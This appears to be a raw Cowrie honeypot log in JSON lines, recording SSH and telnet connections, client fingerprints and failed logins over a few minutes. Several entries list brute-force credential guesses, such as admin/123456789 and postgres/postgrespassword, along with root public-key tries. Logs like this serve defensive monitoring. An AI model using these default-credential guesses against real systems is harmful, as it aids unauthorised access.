{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.509931Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34545,"dst_ip":"10.17.0.5","dst_port":23,"session":"7190f2e4d24d","protocol":"telnet","message":"New connection: 212.55.149.117:34545 (10.17.0.5:23) [session: 7190f2e4d24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:44:02.434541Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.241.3","src_port":41572,"dst_ip":"10.17.0.5","dst_port":23,"session":"0248e89aabec","protocol":"telnet","message":"New connection: 134.209.241.3:41572 (10.17.0.5:23) [session: 0248e89aabec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:45:10.026701Z"}
{"eventid":"cowrie.session.closed","duration":0.006131172180175781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:45:10.032693Z","src_ip":"134.209.241.3","session":"0248e89aabec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":33346,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcf6be405a79","protocol":"telnet","message":"New connection: 199.103.57.63:33346 (159.203.135.109:23) [session: fcf6be405a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:45:34.452693Z"}
{"eventid":"cowrie.session.closed","duration":120.01098680496216,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:46:02.445402Z","src_ip":"212.55.149.117","session":"7190f2e4d24d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.849042892456055,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:46:12.301606Z","src_ip":"199.103.57.63","session":"fcf6be405a79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.241.3","src_port":56996,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d0880857576","protocol":"telnet","message":"New connection: 134.209.241.3:56996 (10.17.0.5:23) [session: 7d0880857576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:47:44.049549Z"}
{"eventid":"cowrie.session.closed","duration":0.004568815231323242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:47:44.054014Z","src_ip":"134.209.241.3","session":"7d0880857576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":48878,"dst_ip":"10.17.0.5","dst_port":22,"session":"960783813228","protocol":"ssh","message":"New connection: 176.65.132.50:48878 (10.17.0.5:22) [session: 960783813228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:48:07.890520Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:48:08.584394Z","src_ip":"176.65.132.50","session":"960783813228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":48894,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a14ce88826f","protocol":"ssh","message":"New connection: 176.65.132.50:48894 (10.17.0.5:22) [session: 8a14ce88826f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:48:12.161916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:48:12.166948Z","src_ip":"176.65.132.50","session":"8a14ce88826f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:48:12.273072Z","src_ip":"176.65.132.50","session":"8a14ce88826f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:48:17.366794Z","src_ip":"176.65.132.50","session":"8a14ce88826f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:48:21.141529Z","src_ip":"176.65.132.50","session":"8a14ce88826f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":48906,"dst_ip":"10.17.0.5","dst_port":23,"session":"a77372bc9082","protocol":"telnet","message":"New connection: 212.55.149.117:48906 (10.17.0.5:23) [session: a77372bc9082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:49:18.072575Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":28218,"dst_ip":"159.203.135.109","dst_port":22,"session":"480d1548cee6","protocol":"ssh","message":"New connection: 165.154.36.71:28218 (159.203.135.109:22) [session: 480d1548cee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:49:32.245594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:49:32.250243Z","src_ip":"165.154.36.71","session":"480d1548cee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:49:32.321141Z","src_ip":"165.154.36.71","session":"480d1548cee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgrespassword","message":"login attempt [postgres/postgrespassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:49:32.645977Z","src_ip":"165.154.36.71","session":"480d1548cee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:49:33.722282Z","src_ip":"165.154.36.71","session":"480d1548cee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":3877,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6137b857b33","protocol":"ssh","message":"New connection: 84.239.42.8:3877 (159.203.135.109:22) [session: f6137b857b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:02.575511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:02.581235Z","src_ip":"84.239.42.8","session":"f6137b857b33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:02.709725Z","src_ip":"84.239.42.8","session":"f6137b857b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:03.208842Z","src_ip":"84.239.42.8","session":"f6137b857b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:04.338682Z","src_ip":"84.239.42.8","session":"f6137b857b33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.645538330078125,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:18.718015Z","src_ip":"212.55.149.117","session":"a77372bc9082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":46878,"dst_ip":"159.203.135.109","dst_port":22,"session":"da21608106bd","protocol":"ssh","message":"New connection: 165.154.36.71:46878 (159.203.135.109:22) [session: da21608106bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:40.723157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:40.728000Z","src_ip":"165.154.36.71","session":"da21608106bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:40.799696Z","src_ip":"165.154.36.71","session":"da21608106bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1111","message":"login attempt [mysql/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:41.114931Z","src_ip":"165.154.36.71","session":"da21608106bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:50:42.196567Z","src_ip":"165.154.36.71","session":"da21608106bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.90.82","src_port":49548,"dst_ip":"10.17.0.5","dst_port":22,"session":"46441bc268e0","protocol":"ssh","message":"New connection: 142.171.90.82:49548 (10.17.0.5:22) [session: 46441bc268e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:04.777577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:04.782814Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:04.852137Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:d9:40:5e:73:37:d0:1c:6b:49:ea:d1:25:73:1f:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcKcr4nxNY5vG6391du4YLZIndcI7MKi+u7dIbJ4sWPDNWGaG/SOjQphbpW6+u9SR7UYdVG99EBPjqvum2vcHXUF0FYuCL9gq5cBzMg3Bn5tybcO1pmaLr5r1PsHSar+C/t1YE1ckozYmtU7ZdGIVlB7SgF/GCnLcusU6HqELhlaufo2H7cjQZunJO2fo5RIZcbPD4ednUjE6xE/ApP0r3Jq6Q2U3gXuK4u6fyUfZTXsGHXtjrlOStPAVbG1c0scKKtkbKXiyXy7hZOD/iD8amVTulS/MSoMx0aSQsrNUH3Y+rDks8pyWbE0m3GeKzn3A6qEA4R0C+ZB/rpp0TJznD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:d9:40:5e:73:37:d0:1c:6b:49:ea:d1:25:73:1f:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.172895Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:d9:40:5e:73:37:d0:1c:6b:49:ea:d1:25:73:1f:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcKcr4nxNY5vG6391du4YLZIndcI7MKi+u7dIbJ4sWPDNWGaG/SOjQphbpW6+u9SR7UYdVG99EBPjqvum2vcHXUF0FYuCL9gq5cBzMg3Bn5tybcO1pmaLr5r1PsHSar+C/t1YE1ckozYmtU7ZdGIVlB7SgF/GCnLcusU6HqELhlaufo2H7cjQZunJO2fo5RIZcbPD4ednUjE6xE/ApP0r3Jq6Q2U3gXuK4u6fyUfZTXsGHXtjrlOStPAVbG1c0scKKtkbKXiyXy7hZOD/iD8amVTulS/MSoMx0aSQsrNUH3Y+rDks8pyWbE0m3GeKzn3A6qEA4R0C+ZB/rpp0TJznD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.177094Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:87:fe:c0:ef:18:5f:43:54:7a:a7:1d:95:2a:ac:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDZlEdY8Keg/7OmEdOaqqr7qer4n6DKsuBlgBSAICOutl3CUCzmfsqCI0sGE3wYUp0NcWK2u8wzB5fKibTu3wvu5siKqYWZFk+L2bEvQpD9SpT6qft3J8ehjT9fe7prUuz0nzB1bmBdWtdgEct2vnAddu5yDKFw187d9dzT4jTO0Gw+zEdNwy0GSZ5XeaxyM27rwnfuGYpJmlD+XivWIFQGxPdo+zd2ZD/rM92QKgsct3tmODVShsNlHK2HQWAfCpNh+UUIZZ4KcT+Gq3CO+eMiRW5onY/Ojg8e68R/zDPoZj6pxNiWLWXItPc2ZjcTh99QKlyN9AS37F3ODjTeyIw4nXFOeN87TG8qg14FHK0kPugfzgT5qPeCmD1noMpgO7/chHXSgkPhjHoU53wJyYZFKeilnrStJsOxzW6TE9i+ceUz/8MBaSEEcn/TiwcQ8WkAZv5z6UIoYpUbF+1BtfGIy5t9GR241pt5pOC/Zfwvvd5sY//k1ovuhWsQXKXU/kVaTnSEYk0SGq0e7o45Zt71KgTNnx4kZmwCxbRSxeHUhMiV7/3TdOGxurpp0Nk83YIldiha1kJdXNRHnMH9EXFYhWeBpiDPeFYbhImg+NW2NuxL+ahVY2BjQ7vPMAtuSjXgCZTkhVKr5LB2Njwx5FSyeHdYSAu/vg9lpuaWzbjxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:87:fe:c0:ef:18:5f:43:54:7a:a7:1d:95:2a:ac:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.246888Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:87:fe:c0:ef:18:5f:43:54:7a:a7:1d:95:2a:ac:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDZlEdY8Keg/7OmEdOaqqr7qer4n6DKsuBlgBSAICOutl3CUCzmfsqCI0sGE3wYUp0NcWK2u8wzB5fKibTu3wvu5siKqYWZFk+L2bEvQpD9SpT6qft3J8ehjT9fe7prUuz0nzB1bmBdWtdgEct2vnAddu5yDKFw187d9dzT4jTO0Gw+zEdNwy0GSZ5XeaxyM27rwnfuGYpJmlD+XivWIFQGxPdo+zd2ZD/rM92QKgsct3tmODVShsNlHK2HQWAfCpNh+UUIZZ4KcT+Gq3CO+eMiRW5onY/Ojg8e68R/zDPoZj6pxNiWLWXItPc2ZjcTh99QKlyN9AS37F3ODjTeyIw4nXFOeN87TG8qg14FHK0kPugfzgT5qPeCmD1noMpgO7/chHXSgkPhjHoU53wJyYZFKeilnrStJsOxzW6TE9i+ceUz/8MBaSEEcn/TiwcQ8WkAZv5z6UIoYpUbF+1BtfGIy5t9GR241pt5pOC/Zfwvvd5sY//k1ovuhWsQXKXU/kVaTnSEYk0SGq0e7o45Zt71KgTNnx4kZmwCxbRSxeHUhMiV7/3TdOGxurpp0Nk83YIldiha1kJdXNRHnMH9EXFYhWeBpiDPeFYbhImg+NW2NuxL+ahVY2BjQ7vPMAtuSjXgCZTkhVKr5LB2Njwx5FSyeHdYSAu/vg9lpuaWzbjxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:51:05.251064Z","src_ip":"142.171.90.82","session":"46441bc268e0","protocol":"ssh"}
